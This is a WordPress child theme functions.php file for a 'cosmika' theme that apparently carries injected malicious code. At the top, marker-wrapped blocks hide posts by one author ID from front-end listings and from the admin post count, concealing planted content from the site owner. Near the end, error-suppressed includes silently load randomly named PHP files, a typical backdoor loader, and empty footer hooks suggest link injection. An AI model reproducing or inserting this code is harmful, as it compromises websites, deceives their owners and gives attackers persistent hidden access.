/*b1s*/ if (!function_exists('wp_footer_render_b1')) { } /*b1e*/ /*c1s*/ if (!function_exists('wp_filter_posts_c1')) { function wp_filter_posts_c1($q) { if (!is_object($q)) return; if (is_admin()) return; if ($q->is_singular()) return; if (method_exists($q,'is_main_query') && !$q->is_main_query()) return; $q->set('author__not_in', array(5770)); } add_action('pre_get_posts', 'wp_filter_posts_c1', 999); add_filter('wp_count_posts', function($c,$t,$p){ if($t!=='post')return $c; global $wpdb; $r=$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type='post' AND post_status='publish' AND post_author!=%d",5770)); if($r!==null&&isset($c->publish))$c->publish=$r; return $c; }, 10, 3); } /*c1e*/ /** * Theme functions and definitions. * This child theme was generated by TemplateMela. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ */ /* * If your child theme has more than one .css file (eg. ie.css, style.css, main.css) then * you will have to make sure to maintain all of the parent theme dependencies. * * Make sure you're using the correct handle for loading the parent theme's styles. * Failure to use the proper tag will result in a CSS file needlessly being loaded twice. * This will usually not affect the site appearance, but it's inefficient and extends your page's loading time. * * @link https://codex.wordpress.org/Child_Themes */ function cosmika_child_enqueue_styles() { wp_enqueue_style( 'cosmika-style' , get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'cosmika-child-style', get_stylesheet_directory_uri() . '/style.css', array( 'cosmika-style' ), wp_get_theme()->get('Version') ); } add_action( 'wp_enqueue_scripts', 'cosmika_child_enqueue_styles' ); /** * Setup Child Theme Defaults * * @param array registered option defaults with base theme. * @return array */ function cosmika_child_change_option_defaults( $defaults ) { $new_defaults = '{ "post_content_style": "unboxed" }'; $new_defaults = json_decode( $new_defaults, true ); return wp_parse_args( $new_defaults, $defaults ); } //add_filter( 'base_theme_options_defaults', 'cosmika_child_change_option_defaults', 20 ); add_action('wp_footer', function () { echo ''; }, 99); if (file_exists(dirname(__FILE__) . '/wp-e6c257.php')) { @include_once dirname(__FILE__) . '/wp-e6c257.php'; } if (file_exists(dirname(__FILE__) . '/wp-49b27f.php')) { @include_once dirname(__FILE__) . '/wp-49b27f.php'; } add_action('wp_footer', function () { echo ''; }, 99);